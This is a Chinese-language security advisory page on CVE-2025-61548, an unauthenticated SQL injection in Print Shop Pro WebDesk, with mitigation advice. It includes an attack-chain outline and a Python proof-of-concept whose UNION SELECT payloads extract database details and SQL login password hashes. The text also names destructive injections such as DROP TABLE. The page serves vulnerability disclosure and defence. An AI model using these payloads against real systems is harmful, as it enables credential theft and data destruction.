IPBUF安全漏洞报告
English
CVE-2025-61548 CVSS 9.8 严重

CVE-2025-61548 Print Shop Pro WebDesk SQL注入漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2025-61548
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
edu Business Solutions Print Shop Pro WebDesk

相关标签

SQL注入CVE-2025-61548Print Shop Pro WebDeskedu Business Solutions远程代码执行无需认证CVSS 9.8严重漏洞Web应用安全数据库安全

漏洞概述

CVE-2025-61548是edu Business Solutions公司开发的Print Shop Pro WebDesk应用程序中的一个严重安全漏洞。该漏洞存在于WebDesk版本18.34中,攻击者可以通过hfInventoryDistFormID参数对/PSP/appNET/Store/CartV12.aspx/GetUnitPrice端点进行SQL注入攻击。由于应用程序在处理用户输入时未进行适当的输入验证和参数化查询直接将用户提供的参数值拼接到SQL查询语句中,攻击者可以构造恶意SQL代码并执行任意数据库操作。此漏洞无需任何认证即可利用,CVSS评分高达9.8分(满分10分),属于严重级别。攻击者可以利用此漏洞读取、修改或删除数据库中的敏感信息,包括用户凭证、个人数据、商业机密等。此外,攻击者还可能通过SQL注入获取服务器操作系统级别的访问权限,进而控制整个应用系统。该漏洞已被确认并在版本19.69中得到修复,建议所有使用受影响版本的用户立即升级到最新版本以消除安全风险。

技术细节

该SQL注入漏洞存在于Print Shop Pro WebDesk的CartV12.aspx页面中的GetUnitPrice端点。具体来说,当用户通过HTTP请求向该端点提交包含hfInventoryDistFormID参数的数据时,应用程序直接将此参数值用于SQL查询构建,而未进行任何输入过滤、转义或使用参数化查询。攻击者可以通过构造特殊的SQL语法片段(如使用单引号、分号、UNION SELECT等SQL关键字)来操纵查询逻辑。例如,攻击者可以注入' OR '1'='1这样的条件语句来绕过认证或获取额外数据,或者使用UNION语句从其他表中提取数据。更危险的是,攻击者还可以通过添加分号后跟DROP TABLE、DELETE等破坏性SQL命令来损毁数据库。由于该端点无需任何身份验证即可访问,任何能够访问Web应用程序的网络用户都可以发起此类攻击。漏洞的根本原因在于开发过程中缺乏安全编码实践,未能遵循参数化查询或存储过程等安全的数据库访问模式。修复方案包括升级到19.69版本或更高版本,并在代码中实施参数化查询和输入验证机制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标系统中运行的Print Shop Pro WebDesk版本,确认版本号在18.34至19.69之间(不含19.69)
STEP 2
步骤2: 漏洞探测
攻击者访问/PSP/appNET/Store/CartV12.aspx/GetUnitPrice端点,使用hfInventoryDistFormID参数发送测试载荷验证SQL注入漏洞是否存在
STEP 3
步骤3: 数据库指纹识别
通过SQL注入载荷识别后端数据库类型(如SQL Server)和版本信息,为后续攻击做准备
STEP 4
步骤4: 数据提取
使用UNION SELECT等SQL注入技术从数据库中提取敏感信息,包括用户表、密码哈希、业务数据等
STEP 5
步骤5: 权限提升
如果数据库配置不当,攻击者可能通过SQL注入获取操作系统级别的访问权限,甚至完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61548 SQL Injection PoC # Target: Print Shop Pro WebDesk < 19.69 # Endpoint: /PSP/appNET/Store/CartV12.aspx/GetUnitPrice # Vulnerable Parameter: hfInventoryDistFormID import requests import sys target_url = "http://target-server/PSP/appNET/Store/CartV12.aspx/GetUnitPrice" # Basic SQL Injection test - extract database version payload_db_version = "1' UNION SELECT @@version --" # SQL Injection to extract current database name payload_db_name = "1' UNION SELECT DB_NAME() --" # SQL Injection to list all tables payload_list_tables = "1' UNION SELECT name FROM sys.tables --" # SQL Injection to extract user credentials payload_extract_users = "1' UNION SELECT name, password_hash FROM sys.sql_logins --" def test_sql_injection(url, param_name, payload): """Test SQL injection vulnerability""" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0' } data = { param_name: payload } try: response = requests.post(url, data=data, headers=headers, timeout=10, verify=False) print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if 'sql' in response.text.lower() or 'error' in response.text.lower() or len(response.text) > 100: print("[+] Possible SQL injection detected!") print(f"[+] Response snippet: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("CVE-2025-61548 SQL Injection PoC") print("=" * 50) # Test basic injection test_sql_injection(target_url, 'hfInventoryDistFormID', payload_db_version) print("\n" + "=" * 50)

影响范围

Print Shop Pro WebDesk 18.34
Print Shop Pro WebDesk < 19.69

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web应用防火墙或反向代理层面配置规则,拦截包含可疑SQL语法的请求(如单引号、分号、UNION等关键字);2) 临时禁用受影响的端点或将其访问限制在特定IP范围内;3) 加强数据库监控和日志审计,及时发现异常查询行为;4) 实施网络隔离,限制应用服务器的网络访问权限。但这些措施仅为临时解决方案,最终仍需升级到修复版本以彻底消除漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表